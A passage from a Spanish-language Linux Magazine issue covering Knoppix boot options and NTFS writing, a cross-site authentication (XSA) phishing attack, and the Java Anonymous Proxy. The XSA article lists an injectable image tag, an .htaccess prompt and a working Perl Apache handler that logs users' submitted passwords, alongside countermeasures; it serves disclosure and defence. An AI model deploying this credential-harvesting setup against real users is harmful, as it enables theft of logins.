te, conteniendo todos los cambios del

sistema, invocando mkimage-knoppix

desde el menú Knoppix bajo Create per-

sistent Knoppix image. Para el caso de

una partición NTFS, como no se puede

escribir directamente con los controlado-

res del kernel de Linux, se proporciona

una utilidad Windows denominada mki-

mage.exe dentro del directorio KNOPPIX

en la parte descomprimida del CD

o DVD.

Una vez que ha sido creada

dicha imagen, tiene un tamaño

constante (como un disco virtual).

Así que no debería hacerse muy

pequeña. El tamaño ideal depende

de cuanto se desee instalar o salvar

a la parte de escritura de la ima-

gen. Si se configura una impresora,

se instalan uno o dos programas

pequeños y se ejecuta OpenOffice

una vez, se necesitarán al menos

100MB o más.

Una vez que se ha creado una

imagen persistente en el disco

duro (o en la unidad de memoria

USB portátil), la imagen es super-

puesta a la de sólo lectura del DVD

o CD en el próximo arranque del

sistema, si se acepta la opción de

arranque para usar la imagen.

Todo lo que se cambie o salve es

automáticamente conservado den-

tro de ella aunque se resetee.

Una cosa muy importante que hay que

recordar acerca de este procedimiento es

que la imagen debe desmontarse. En

otras palabras, se requiere un apagado

normal para asegurarse de que los datos

de la ramcache de Linux se escriban real-

mente. En caso de emergencia, el

comando sync sería suficiente si se nece-

sita hacer un reseteo rápido usando un

botón del ordenador. Aunque esta solu-

ción alternativa debería ser una excep-

ción.

Tostando CDs y DVDs conKnoppixLa grabación de un CD puede ser difí-

cil si sólo se tiene una unidad de CD o

DVD que ya la está utilizando

Knoppix. Sin embargo, se puede inten-

tar liberar la unidad copiando el conte-

Knoppix • PRÁCTICO

Figura 2: Knoppix 4 le permite al usuario crear una imagen persistente.

Page 42: Linux Magazine - Edición en Castellano, Nº 13

embargo, usando una partición FAT32

o ext2, se puede realizar tecleando

(para la segunda partición en el primer

disco de la controladora IDE) en el

prompt de arranque:

knoppix tohd=/dev/hda2 dma

Este comando le indica a Knoppix que

copie todos los ficheros requeridos a la

partición del disco duro y que se ejecute

desde allí. En la siguiente sesión hay que

usar:

knoppix fromhd=/dev/hda2 dma

nido del CD o DVD de Knoppix al

disco duro y cargando el kernel y

initrd desde la unidad de DVD, mien-

tras que se ejecuta el resto desde la

copia en el disco duro. Para esta forma

de arranque no está soportada la escri-

tura en las particiones NTFS. Sin

PRÁCTICO • Knoppix

42 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Ahora, que todos sabemos que el disco

duro es malvado, incompatible y está

mal diseñado, nada funciona como

debería. La RAM tampoco va bien, está

desfasada, interrumpe la ejecución y el

esquema de direccionamiento de E/S

prehistórico aún está vivito y coleando

en el siglo 21. ¿Qué podemos hacer si el

kernel de Linux se encuentra con hard-

ware defectuoso o con el firmware mal

configurado? Por ejemplo, ¿qué pasaría

si el sistema posee una versión de la

BIOS que viene con un defecto que se

soluciona con un controlador de la placa

base que sólo está disponible para un

determinado sistema operativo?

Afortunadamente, el kernel de Linux ya

contiene diversas soluciones automáti-

cas para el software de la BIOS y el hard-

ware defectuoso (recuérdese el error de

la primera CPU Pentium que proporcio-

naba resultados erróneos en ciertas ope-

raciones aritméticas), así que en la

mayoría de los casos, Linux imprimirá

un mensaje de aviso sobre la activación

de la solución correspondiente y conti-

núa. Esto no es posible en todos los

casos, a veces todo parece que va a ser

detectado, pero por ejemplo, la tarjeta

de red no funciona, o el dispositivo USB

no se reconoce, o incluso peor, si los dis-

positivos PCMCIA cuelgan el sistema

completo tras inicializarse.

Los siguientes comandos de arranque

funcionan con la mayoría de las BIOS:

knoppix nosmp acpi=off U

noapic pnpbios=off pci=bios

Las opciones de la línea de comandos

tienen los siguientes efectos:

• nosmp – apaga el soporte de la placa

base de hiperthreading y multiproce-

sador (algunas placas no tienen real-

mente un segundo procesador, pero

piensan que lo tienen y producen erro-

res).

• acpi=off – desconecta la configuración

automática y las funciones de gestión

de energía de las nuevas placas.

Algunas de las placas simplemente

poseen una implementación defectuo-

sa de la ACPI de la BIOS o necesitan

una configuración especial para fun-

cionar correctamente. Por otro

lado,otras placas requieren acpi=force

porque no funcionan correctamente si

no está activado el soporte ACPI.

• noapic – Si algunos componentes

hardware son detectados correcta-

mente pero no responden, hay que

intentar lo siguiente. Desactivar el chip

de la placa base que se encarga de

“hacer parecer que se tienen más inte-

rrupciones de las que realmente hay,

para evitar los conflictos de hardwa-

re”. En realidad, esta característica no

es tan mala o esencial como parece

ser, lo que ocurre es que simplemente

no funciona en algunas placas. Si la

mayoría de las tarjetas PCI que se tie-

nen pueden funcionar con el soporte

de interrupciones compartido, no se

necesitará APIC. No hay que confundir

APIC con ACPI. No es lo mismo.

Ambas pueden estar defectuosas,

independientemente una de la otra. Si

se tienen dudas, desactívense las dos.

Como con acpi=off, hay placas que,

por una razón desconocida, no funcio-

nan con noapic.

• pnpbios=off – apaga el sistema “Plug

and Play” automático de las tarjetas

ISA. Bueno, a veces esto ayuda si la

placa piensa que es una buena idea

reservar unas cuantas interrupciones

para dispositivos inexistentes o recla-

mar interrupciones que deberían estar

en los componentes de la placa (PCI-

bus).

• pci=bios – dejemos que la BIOS use la

configuración especificada por el

usuario (como las interrupciones) para

cada dispositivo; no intente leer la

configuración de las interrupciones

directamente del dispositivo específi-

co. Esto funciona mejor para los orde-

nadores antiguos; es como utilizar lo

que la BIOS mejor conoce sobre la

configuración del hardware.

Hay más opciones para la línea de

comandos de arranque. Algunas son

conmutadas directamente por el kernel

de Linux y otras son utilizadas por los

scripts de configuración hardware de

Knoppix. Por ejemplo, si una tarjeta grá-

fica es identificada incorrectamente

como una controladora SCSI (si, he visto

esto…) provocando que el sistema se

cuelgue cuando el controlador SCSI

correspondiente se cargue en Knoppix, y

se es consciente de que no se dispone

de la controladora SCSI en el equipo,

hay que intentar lo siguiente

knoppix noscsi

También habría que cambiar la resolu-

ción de la pantalla si el sistema (como es

el caso para la mayoría de los portátiles)

no soporta la autodetección DDC de los

modos de resolución favoritos. El

siguiente comando funcionaría para una

pantalla TFT de 75Hz 1280x1024:

knoppix screen=1280x1024 U

vsync=75 hsync=90

Nótese que la resolución “text” es siem-

pre de 1024x768 en Knoppix, a menos

que se añada la opción vga=normal o

simplemente la opción vga=<número de

modo> de las tablas mostradas en /usr/

src/linux/Documentation/fb/vesafb.txt.

Si se va a usar un cañón de proyección

para una presentación y (¿mencioné que

el hardware era malvado?) el puerto de

video del portátil no funciona, hay que

intentar la opción de Knoppix framebuf-

fer-only:

fb1024x768

Hay que tener en cuenta que este

comando de arranque se teclea SIN el

prefijo knoppix que se ha usado en los

ejemplos anteriores, porque REEMPLA-

ZA las opciones de la línea por defecto.

Para algunos portátiles, hay que activar

manualmente el puerto de video con

algunas combinaciones de teclas, pero si

se está el modo framebuffer, una vez

que se consiga que el proyector muestre

el modo texto, X/KDE funcionará correc-

tamente también.

Si se está interesado en investigar más

opciones que se han incorporado en la

autoconfiguración de Knoppix que son

necesarias en casos especiales, véase el

fichero KNOPPIX/knoppix-cheatcodes.txt

del CD del Knoppix.

Problemas con el proceso de arranque de Knoppix

Page 43: Linux Magazine - Edición en Castellano, Nº 13

para reutilizar la copia previa de

Knoppix en vez de realizar la copia de

nuevo. La opción dma acelera el acceso

al disco duro en un factor de cinco en la

mayoría de las placas madre. Si se tiene

una placa que no soporta DMA, no se

puede usar esta opción, ya que corrom-

pería los datos. (La posibilidad de la

corrupción de datos es la razón por la

que esta opción no está activa por defec-

to, aunque muy pocas placas presenten

este problema).

También se puede arrancar Knoppix

sin ningún disco desde la red. Con tan

sólo ejecutar knoppix terminalserver en

uno de los ordenadores de la LAN y

arrancar otro sistema vía PXE, o a través

de un disco de arranque de red que se

puede obtener de www.rom-o-matic.net

para su tarjeta de red. Para Knoppix

4.0.1, hay que arreglar el script knoppix-

terminalserver con un parche disponible

en los mirrors de DVD.

Ahora que la grabadora de CD o DVD

está libre se puede utilizar para grabar

CDs o DVDs. (Véase el cuadro titulado

“Permisos para cdrecord”).

Se puede grabar cualquier directorio

que aparezca en Konqueror pulsando el

botón derecho del ratón sobre el icono

del directorio y seleccionando burn data

CD with k3b. Los usuarios profesionales

que prefieran la línea de comandos

podrían querer usar el siguiente coman-

do con el objeto de crear un DVD

Knoppix arrancable desde una copia

modificada del disco duro:

growisofs -dvd-compat -Z U

/dev/hdc -no-emul-boot U

-boot-load-size 4 U

-boot-info-table -b U

boot/isolinux/isolinux.bin -c U

boot/isolinux/boot.cat -l -r U

-J /mnt/hda2/copy-of-U

knoppix-dvd-content

El comando anterior supone que se tiene

una partición con permisos de escritura

/mnt/hda2 que contiene una copia del

DVD de Knoppix (los ficheros, no la ima-

gen ISO) en el directorio “copy-of-knop-

pix-dvd-content”.

Escribiendo en ParticionesNTFSComo ya habrá leído, el soporte de las

particiones NTFS está limitado debido a

las patentes, problemas de licencias y a

la falta de especifica-

ciones técnicas del

vendedor. El soporte

de lectura existente de

código abierto para

NTFS del kernel, crea-

do a partir de un tra-

bajo intenso de inge-

niería inversa, funcio-

na bastante bien y es

bueno para las tareas

de rescate, como la

copia de datos desde

un sistema no arran-

cable a un lugar segu-

ro.

La única operación

de escritura que

soporta el kernel en

este momento es la sobrescritura de

ficheros sin cambiar su tamaño. (Esta

opción es usada por Knoppix para las

imágenes persistentes, como se describió

anteriormente en el artículo).

Pero recientemente, la biblioteca Open

Source linux-ntfs (no el controlador del

kernel) ha avanzado para permitir opera-

ciones limitadas de escritura en una par-

tición NTFS. Usando la imagen actual

CVS de libntfs, ahora se puede:

• borrar ficheros y directorios

• crear hasta 9 ficheros nuevos o

subdirectorios dentro de un

directorio

Estas opciones son suficientes para

muchas de las tareas que antes no se

podían hacer.

Como es muy complicado recompilar

cada programa para que soporte libntfs para

las operaciones de escritura (recuérdese, el

módulo del kernel está a medio año de

libntfs), se pueden usar el módulo del ker-

nel FUSE y una utilidad denominada ntfs-

mount para montar una partición NTFS.

Lo siguiente es un pequeño HOWTO

desde el DVD actual de Knoppix, que

explica cómo usar FUSE y libntfs para

montar particiones NTFS de lectura/

escritura, de modo que pueda borrar o

añadir ficheros con las limitaciones men-

cionadas anteriormente. Véase KNOP-

PIX/linux-ntfs/FOR-DEVELOPERS.txt del

CD o DVD de Knoppix para ello. Por

favor, téngase en cuenta que aún es una

característica experimental, así que hay

que asegurarse de que se dispone de una

copia de seguridad de todos aquellos

datos que sean importantes antes de rea-

lizar el intento:

1. Cargar el módulo “Filesystem in

Userspace”: sudo modprobe fuse

2. Hacer la partición NTFS accesible

para los usuarios sin privilegios (en el

caso de nuestro ejemplo, partición pri-

mera del disco duro esclavo conectado a

la controladora IDE 2 /dev/hdd1): sudo

chmod 666 /dev/hdd1

3. Crear un punto de montaje en el

directorio home del usuario: mkdir

$HOME/ntfs

4. Montar la partición de lectura/escri-

tura en $HOME/ntfs. ntfsmount $HOME/

ntfs -odev=/dev/

hdd1,force,umask=000. Ahora se debe-

ría ser capaz de acceder al contenido de

la partición en $HOME/ntfs, pero no hay

que olvidar el siguiente paso.

5. Con un “umount” normal es proba-

ble que no se tenga éxito con FUSE, hay

que usar el siguiente comando experi-

mental para terminar: fusermount -u

$HOME/ntfs

Después del paso 4, debería también

ser capaz de acceder y navegar por la

partición NTFS desde KDE con konque-

ror $HOME/ntfs. Hay que tener cuidado

de no montar la misma partición dos

veces, una con el módulo del kernel y

otra con ntfs-mount; ya que el kernel se

confundiría.

ConclusiónEn este artículo, se ha descrito cómo ins-

talar un programa, liberar la unidad de

CD-ROM y escribir en particiones NTFS

en Knoppix. Espero que estas técnicas le

proporcionen un mundo de nuevas posi-

bilidades usando Knoppix en situaciones

prácticas. �

Knoppix • PRÁCTICO

43Número 13W W W . L I N U X - M A G A Z I N E . E S

Figura 3: Uso de la herramienta ntfsmount para montar una par-

tición NTFS en Knoppix.

Page 44: Linux Magazine - Edición en Castellano, Nº 13

44

Para los Ataques de Autenticación Multiplataformas

UN PEZLLAMADOPHISHING

PRÁCTICO • XSA Attack

44 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Con toda seguridad, las noticias

sobre phishing les serán familia-

res a la mayoría de los lectores.

Suelen provenir de un banco o de eBay, y

aparecen como una página modificada

en la que se solicitan las credenciales del

usuario. Un ataque por phishing suele

aprovecharse de trucos para espiar las

credenciales de los usuarios. Otro méto-

do, conocido como “cross-site scripting”

(XSS), coloca código activo en páginas

vulnerables. El navegador web del usua-

rio ejecuta el código sin sospechar y

envía sus datos de credenciales al ata-

cante.

¿Cerrando las escotillas?Para impedir los XSS, muchas aplicacio-

nes web eliminan todo el contenido acti-

vo de las entradas que posteriormente se

presentarán a los usuarios. Esto incluye

las entradas de los foros, descripciones

de subastas o mensajes de correo elec-

trónico. Aunque el código HTML puro,

que se considera inofensivo, normal-

mente se acepta. Muchas aplicaciones

web permiten la inclusión de imágenes

por medio de la etiqueta <img> siendo

ésta la debilidad que un atacante puede

aprovechar para llevar a cabo un ataque

de autenticación multiplataforma (XSA).

Los atacantes simplemente necesitan

controlar un servidor donde almacenan

la imagen y algo de código adicional.

Entonces inyectan la etiqueta HTML,

supuestamente inofensiva dentro del ser-

vicio vulnerable. <img src=“http://ata-

cante/imagen.png”> (Figura 1).

En realidad, la imagen se almacena en

un área HTTP-AUTH protegida del servi-

dor (Listado 1). El servidor solicita un

nombre de usuario y una contraseña al

navegador antes de servir el fichero. El

servidor puede, opcionalmente, mostrar

una descripción, que el navegador mues-

tra al usuario. Normalmente el servidor

comparará las credenciales en texto

plano enviadas a él con las entradas que

tiene en su base de datos de usuarios. En

el caso de una ataque XSA, el servidor

almacena las credenciales y permite el

acceso al usuario para evitar cualquier

sospecha. Esto se puede hacer fácilmen-

te con unas cuantas líneas de código Perl

y el módulo mod_perl de Apache

(Listado 2).

Es casi imposible que el usuario se

percate de ello. De hecho, él tan sólo ve

la aplicación web en su barra de direc-

ciones, y dependiendo del navegador y

de la velocidad de conexión, posible-

mente, parte del sitio web que está

actualmente cargando. Los usuarios tie-

nen que mirar muy detenidamente para

Figura 1: Pasos del ataque XSA: normalmente el usuario no se da cuenta de que el navegador

está hablando con varios servidores. XSA se aprovecha de esto y pregunta al usuario que se

autentique para acceder a una imagen almacenada en una dirección externa. A continuación,

el nombre de usuario y la contraseña se enviarán al servidor del hacker.

Un nuevo ataque de phishing se basa en colocar una etiqueta

HTML en un servicio vulnerable para capturar los datos de auten-

ticación de los usuarios. POR JOACHIM BREITNER

01 AuthType Basic

02 AuthName "Server has been res-

tarted; please log in again"

03 PerlAuthenHandler

Apache::AuthLog

04 require valid-user

05 PerlSetVar Authlogfile Pfad/

xsa-test/auth.log

Listado 1: .htaccess

Page 45: Linux Magazine - Edición en Castellano, Nº 13

darse cuenta de que la contra-

seña solicitada no pertenece a

la página actual. La ventana de

entrada no está manipulada,

ya que es un componente del

navegador y por ello coincide

con el aspecto general del sis-

tema.

ContramedidasUna aplicación web robusta

capaz de resistir un ataque

XSA no permitirá hacer refe-

rencias a imágenes externas. Si no se

tiene esa opción, otra solución es la rees-

critura de los enlaces a las imágenes

externas, de modo que las solicitudes

vayan al propio servidor y que actúe

como proxy.

Ambas soluciones son problemáticas,

especialmente para las aplicaciones

45

XSA Attack • PRÁCTICO

45Número 13W W W . L I N U X - M A G A Z I N E . E S

web, el cuadro de diálogo del

navegador debería indicar al

usuario un mensaje como,

“¡Aviso! Actualmente está

viendo my.webmail.co.uk. Un

elemento peligroso almacena-

do en hacker-malintenciona-

do.co.uk le está pidiendo que

se autentique. Introduzca sus

credenciales sólo si confía en

hacker-

malintencionado.co.uk”.

Alternativamente, el navega-

dor podría ignorar la solicitud de autenti-

cación, aunque esto podría significar la

pérdida de una funcionalidad útil en

algunas circunstancias.

¡Desconfíe!Los ataques XSA proporcionan las cre-

denciales del usuario al hacker. Las apli-

caciones web pequeñas, como los foros

que se implementan

sin una protección del

lado servidor muy

compleja, son particu-

larmente vulnerables.

Esta clase de ataques

no están tan sólo res-

tringidos a la web. Un

mensaje de correo elec-

trónico en formato

HTML cuidadosamente

modificado podría pro-

vocar que el usuario

revelase sus credencia-

les, dependiendo del

cliente de correo. Es

bastante sencillo que

los desarrolladores de

navegadores generen mensajes que aler-

ten e impidan esta clase de ataques. Pero

hasta que todo el mundo tenga un nave-

gador con esta característica, su única

protección es tener cuidado y no confiar

en todo lo que se vea en la web.

Si desea experimentar un ataque XSA

en vivo, pruebe la página de demostra-

ción de la página del autor en [1]. Pero

no se le ocurra introducir ninguna con-

traseña de verdad: el fichero con los

valores almacenados es accesible públi-

camente. �

pequeñas como los foros web privados.

Tiene más sentido modificar el navega-

dor web. Los navegadores web actuales

tienen diversas formas para indicarle al

usuario que está vagando por caminos

digitales inexplorados. Todos los navega-

dores muestran el nombre del servidor,

además de la descripción, que la estable-

ce el servidor y por ello es peligroso; sin

embargo, los navega-

dores son muy buenos

a la hora de ocultar

esta información.

Internet Explorer es el

mayor culpable: el

nombre de dominio lo

oculta del título del

cuadro de diálogo.

Mozilla (Figura 2) es

algo mejor que

Internet Explorer, ya

que muestra el nombre

del dominio en la línea

de descripción. Pero

antes de que los usua-

rios tengan tiempo de

leerlo, probablemente,

ya haya terminado de teclear y haya

transmitido los datos personales.

Los Mejores NavegadoresMi favorito es Opera (Figura 3). Primero

muestra el nombre del servidor, facilitan-

do su lectura. Por ello, un atacante ten-

dría que tener un servidor cuyo nombre

se pareciese al nombre del servidor que

está intentando suplantar, por ejemplo,

my.webmai1.co.uk en vez de my.web-

mail.co.uk.

Para proporcionar mayor protección

frente a los ataques XSA, los navegado-

res deberían ser capaces de detectar los

ataques y avisar al usuario. Si un ele-

mento HTTP inmerso le solicita al usua-

rio que se autentique, a pesar de perte-

necer a un dominio diferente del sitio

Figura 2: Al contrario que Internet Explorer, Mozilla y otros nave-

gadores de código abierto muestran al menos el nombre de dominio

en el texto del cuadro de diálogo, pero si se tiene prisa, probable-

mente no se vea el nombre del dominio al final de la descripción.

Figura 3: Lo mejor de todo: el cua-

dro de diálogo de fácil lectura de

Opera muestra el nombre del

dominio primero, forzando a los

atacantes a llevar a los usuarios a

un servidor cuyo nombre de domi-

nio tiene un aspecto similar.

[1] Página demo XSA: http://people.

debian.org/~nomeata/xsa-sample.

html

RECURSOS

01

#/usr/local/share/perl/5.8.4/A

pache/AuthLog.pm

02 package Apache::AuthLog;

03 use Apache::Constants qw(:com-

mon);

04

05 sub handler {

06 my $r = shift;

07 my($res, $sent_pw) =

$r->get_basic_auth_pw;

08 return $res if $res != OK;

09

10 my $user =

$r->connection->user;

11 unless($user and $sent_pw) {

12 $r->note_basic_auth_failure;

13 $r->log_reason("Requires user-

name

14 and password", $r->filename);

15 return AUTH_REQUIRED;

16 }

17

18 open LOG,'>>',$r->dir_con-

fig("Authlogfile");

19 printf LOG "%s running %s:%s /

%s\n",

20 $r->connection->remote_ip,

21 $r->header_in('User-Agent'),

22 $user, $sent_pw;

23 close LOG;

24

25 return OK;

26 }

27 1;

Listado 2: Apache::AuthLog

Page 46: Linux Magazine - Edición en Castellano, Nº 13

46

Navegación anónima con Java Anonymous Proxy

NAVEGANTEFANTASMA

PRÁCTICO • Ghost

46 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Salvo que seamos un VIP, nos seráposible bajar a la panadería denuestro barrio a por una barra de

pan sin tener que revelar datos persona-les. Nadie tratará de registrar la maneraen que nos movemos o intentará descu-brir patrones en nuestro comportamiento.En el día a día, el anonimato es la regla.Por contra, Internet permite registrar sinningún problema el tráfico de los visitan-tes a una página Web.

Esta recolección continua de datospermite la identificación certera del visi-tante. Es tan sencillo como una corta lla-mada a nuestro proveedor, que accederáa nuestros datos con un simple whois.Los gobiernos han establecido leyes paraevitar la apropiación más extrema de

datos personales, pero los usuarios deInternet con direcciones IP estáticas pue-den ser fácilmente identificados en laspáginas Web con una sencilla consultawhois.

Para proteger nues-tra intimidad, tendre-mos que recurrir aartillería pesada bajola forma de un servi-cio de anonimato.Éste le permite alusuario navegar porla Web de maneraanónima. El serviciooculta la verdaderadirección IP del usua-rio, evitando que los

fisgones puedan rastrear al usuario a tra-vés de la Web.

Los usuarios utilizarán toda una gamade técnicas para navegar en Internet sinser detectados (véase el cuadro

Figura 1: El mensaje se encripta de manera separada para cada

mezcla, como una carta en varios sobres, y continúa a través de la

cascada de mezclas para mejorar el anonimato.

Muchas páginas Web registran las direcciones IP y horas de

acceso para identificar usuarios. Si no queremos ir ofre-

ciendo información que acabará en algún estudio de mer-

cado, Java Anonymous Proxy mantendrá nuestras incur-

siones en secreto. POR TOBIAS EGGENDORFER

Page 47: Linux Magazine - Edición en Castellano, Nº 13

“Navegación Confidencial”). Una de lasherramientas de privacidad más popula-res es Java Anonymous Proxy (JAP) [1],un proxy portable que ofrece servicio deanonimato para Linux. JAP encriptatodas las peticiones y las envía a unmezclador, un sistema intermedio enInternet que mezcla los datos del usuarioprocedente de varias fuentes. Los datosvan rebotando a través de varios mezcla-dores antes de alcanzar un proxy queenvía la petición al servidor Web. En esteartículo vamos a describir cómo pode-mos navegar de manera anónima graciasa JAP.

Entender JAPEl principio en el cual se basa JAP es sim-ple: los datos pasan desde el cliente Weba través de una cadena de mezcladoresantes de llegar a un servidor proxy. Encada paso, los datos se mezclan con datosde otros usuarios. Los paquetes se encrip-tan también en cada etapa. El proxyencripta el mensaje de manera que el últi-mo mezclador pueda desencriptarlo. Elúltimo mezclador toma el texto cifrado ylo encripta para permitir que el penúltimomezclador pueda leerlo. Los resultadosson vueltos a encriptar para la antepenúl-tima mezcla, etc.

Si un mezclador de la cadena desen-cripta un mensaje que le han enviado,sólo podrá ver el texto cifrado para elsiguiente mezclador. Como cada mezcla-dor usa claves distintas, se asegura unalto nivel de privacidad. Es como poneruna carta en varios sobres opacos. Cada

47

Ghost • PRÁCTICO

47Número 13W W W . L I N U X - M A G A Z I N E . E S

mezclado, evitando poder sacar conclusio-nes acerca del orden de los paquetes.

Si alguna vez hemos dejado nuestrocorreo a cargo del vecino en vacaciones,es muy probable que a nuestro regresohayamos tenido que escuchar algo como“¡Menudo paquete te enviaron la semanapasada!”, justo antes de escuchar algunaristra de especulaciones al respecto de sucontenido. JAP elimina este tipo de espe-culaciones troceando los datos en frag-mentos de 998 bytes y rellenando lospedazos menores con datos aleatorios.

Al igual que PGP o SSL, JAP confía enuna combinación de encriptación simétri-ca y asimétrica para las comunicacionesentre los mezcladores y el proxy local.JAP encripta los mensajes a los mezclado-res con claves simétricas aleatorias desesión. En un primer momento, la clavesimétrica se encripta asimétricamenteusando la clave pública del mezclador.

InstalaciónA pesar de su aparente complejidad, JAPes fácil de instalar y usar. Sólo tenemos

mezclador sólopuede abrir unsobre (véaseFigura 1).

Este diseño pro-porciona una ven-taja adicional:como los mensajessalientes siempreparecen distintos alos entrantes, nohay manera demapear los paque-tes entrantes conlos salientes.Incluso si un ata-cante fuese capazde colocar un snif-fer en un mezcla-dor o capturar unamezcla por el

camino, no podría hacer nada con esosdatos. Como muchos usuarios que enru-tan sus datos a través de cada cascada,cada una de ellas contendrá un cocktail depaquetes de cada usuario perfectamente

El intercambio de datos entre JAP y el

mezclador, o entre los mezcladores en la

cadena, usa un formato estándar. Cada

paquete tiene un tamaño de 998 bytes, y

las cabeceras se usan para especificar

información importante.

El canal de 32 bits ID es el fragmento de

información más importante. La ID asig-

na el paquete del mezclador a cada canal

de mezcla. La ID del canal siempre ocupa

los primeros 4 bytes de un paquete de

mezcla. A esto le siguen 2 bytes, de los

que 5 bits se usan como flags. Los flags

describen la preparación del paquete de

datos. Los restantes 11 bits se reservan

para futuras extensiones. El canal ID

identifica de manera única el enlace

entre JAP y el mezclador, o entre dos

mezcladores.

El flag open (bit 45) se fija cuando se

establece una conexión, para especificar

un nueva ID de canal aleatoria. El nuevo

canal confía en una clave simétrica. La

versión asimétrica encriptada con RSA

de ésta se guarda en los primeros 128

bytes del paquete de datos. El resto del

paquete se encripta simétricamente

usando AES.

La parte de datos tiene una cabecera de

3 bytes que especifica la longitud exacta

(2 bytes) y el tipo de datos de usuario (1

byte). Este tipo de datos puede ser FTP o

HTTP. El último mezclador de la cascada

identifica un proxy adecuado basándose

en el tipo de dato.

La parte asimétrica es la más interesan-

te. Los primeros 16 bytes contienen la

clave de 128 bits usada para la encrip-

tación simétrica en cada mezclador.

Para permitir que el siguiente mezcla-

dor sepa su clave, todos los datos del

paquete están desplazados hacia la

izquierda 16 bytes, y el paquete de

datos se rellena con 16 bytes aleatorios

para llegar al tamaño estándar. El mez-

clador vuelve a encriptar los primeros

128 bytes con la siguiente clave de

mezcla. Si el flag open no está activo, el

intercambio de claves no tiene lugar.

Esto incrementa el tamaño de la zona

de datos del paquete.

Los mezcladores fijan el flag close en la

cabecera para cerrar una conexión y

rellenar el componente de datos con 992

bytes aleatorios. Cada vez que un mez-

clador recibe un paquete de este tipo,

descarta la ID de canal y la clave simétri-

ca asociada. El paquete indica también a

JAP que se han trasmitido todos los

datos y cierra la conexión TCP con el

navegador. Para evitar ataques por

deducción del tipo de paquete por el tipo

de cabecera, los mezcladores también

encriptan las cabeceras.

Transmisión JAP

Figura 2: El proxy es sencillo de configurar en el lado del navegador.

Podemos reconfigurar el puerto por defecto al 4001 con JAP.

Page 48: Linux Magazine - Edición en Castellano, Nº 13

blemas, dando por supuesto que tenemosuna interfaz gráfica de usuario así comola variable DISPLAY configurada apropia-damente.

Todo lo que resta por hacer es modifi-car la configuración del proxy (véase laFigura 2). Por defecto, JAP se pone a laescucha en el puerto 4001 y sólo aceptapeticiones desde localhost. Si tenemospensado instalar un único JAP en nuestrared local, tendremos que activarForwarder para permitir el acceso a otrasmáquinas.

Elección de CascadaEl resto de la configuración, a la quepodemos acceder a través de los botonesSettings o Details, se explica por símisma. La única cuestión con la que pue-den encontrarse los principiantes de JAPes la elección de las mejores cascadas dis-ponibles.

La cascada definirá nuestro grado deanonimato: cuantos más usuarios pue-blen una cascada, y mayor sea la mezclade paquetes, más complicado será quealguien que husmee pueda identificaralgún comportamiento individual.Por otro lado, cuanto más usuarios estén

accediendo al servicio, más lento será suacceso a Internet. JAP distribuye estainformación a través de un servicio pro-pio, que ofrece una lista de cascadas demezcladores disponibles y su rendimien-to.

Por razones de seguridad, el cliente JAPverifica si la lista está validada correcta-mente. Esta precaución previene de queun posible atacante inserte una cascadafraudulenta.

ConclusionesJava Anonymous Proxy (JAP) es un

proxy de anonimato portable para Linux.Teniendo en cuenta la compleja tecnolo-gía en la que está basada, JAP es muysencillo de instalar y utilizar. Una vez ten-gamos instalado JAP en nuestro sistema,podemos probar nuestra configuraciónusando el servicio de prueba proporciona-do en [8]. �

que descargar la versión de JAP quecoincida con nuestra versión de Javadesde [1]. Para descubrir nuestra versiónde Java podemos teclear:

java -version

A continuación ejecutamos JAP con elsiguiente comando:

java -jar JAP.jar &

Este comando debería funcionar sin pro-

PRÁCTICO • Ghost

48 Número 13 W W W . L I N U X - M A G A Z I N E . E S

[1] Java Anonymous Proxy (JAP):http://

anon.inf.tu-dresden.de/index_en. html

[2] The Cloak: http://www.the-cloak.com

[3] Guardster: http://www.guardster.com

[4] Anonymization.net: http://www.

anonymization.net

[5] Proxy del senado USA: http://online.

securityfocus.com/news/1780

[6] JAP y prevención del crimen: http://

anon.inf.tu-dresden.de/

strafverfolgung/index_en.html

[7] JAP en línea de comandos: http://

anon.inf.tu-dresden.de/develop/

commandline_jap_en.html

[8] Test de anonimato: http://anon.inf.

tu-dresden.de/anontest/test_en.html

[9] Cookiecooker: http://cookie.inf.

tu-dresden.de

RECURSOS

Los servicios de anonimato como The

Cloak [2], Guardster [3], o

Anonymization.net [4] proporcionan una

forma sencilla de anonimato. Cuando

tecleamos en ellas una URL, el servicio

de anonimato hace la petición al servi-

dor Web en cuestión, usualmente anali-

zando el HTML y reemplazando los enla-

ces de manera que también usen el ser-

vicio de anonimato. Por último, el servi-

cio sirve la página requerida (véase

Figura 3).

El servicio de anonimato basado en Web

tiene algunas desventajas, una de las

cuales es el problema de la confianza. El

usuario no sabe a qué servicio se está

conectando o cómo de anónimo es en

realidad. Además, puede ser imposible

rescribir enlaces generados por

Javascript, y esto ciertamente podría

dañar la cobertura del usuario que nave-

ga. (Para contrarrestar esto, The Cloak

tiene la opción de eliminar todo el

Javascript contenido en las páginas que

visitamos).

Por últitmo, la ruta entre nuestro propio

navegador y el servicio de anonimato no

está encriptada, por lo que cualquier ser-

vidor, incluyendo los proxies de nuestro

propio proveedor, podría registrar nues-

tra actividad con el navegador. Este pro-

blema ha provocado

que muchos servi-

cios de anonimato

basados en Web

ofrezcan servicios

encriptados vía

HTTPS, aunque

algunos de estos

pueden no ser gra-

tuitos.

Un proxy proporcio-

na una solución ele-

gante al problema del

análisis de páginas

HTML y reemplazo de enlaces. Esto impli-

ca configurar el navegador para que trans-

mita cada una de las peticiones HTTP al

proxy. El proxy se comunica entonces con

el servidor objetivo. Desafortunadamente,

un proxy convencional no nos ofrece

nada en cuanto a anonimato. Por ejemplo,

el proxy de AOL identifica a sus usuarios.

Los llamados open proxies se ajustan

mejor al objetivo del anonimato. Los open

proxies son servidores proxy que todo el

mundo puede utilizar. Incluso el Senado

de Estados Unidos ha puesto en marcha

un open proxy, aunque sin darse cuenta

[5]. Para identificar a un navegante que

esté usando un open proxy, en primer

lugar tenemos que verificar los ficheros de

log del proxy y luego contactar con el pro-

veedor. Sin embargo, pocos servidores

Web guardan este contenido en sus logs.

(Nótese que algunos proxies revelan, de

hecho, al usuario en cuestión al añadir

una cabecera HTTP que contiene la direc-

ción IP de la maquina que hace la peti-

ción).

Un open proxy no resuelve el problema

del tráfico no encriptado. Si un atacan-

te puede interceptar la comunicación

entre el proxy y el usuario, este usuario

deja de ser anónimo en ese mismo

momento.

Navegación Confidencial

Figura 3: Un servicio de anonimato basado en Web separa al

usuario del servidor Web, pero el servidor de anonimato interme-

dio podría dejar traza de la información del usuario.

Page 49: Linux Magazine - Edición en Castellano, Nº 13

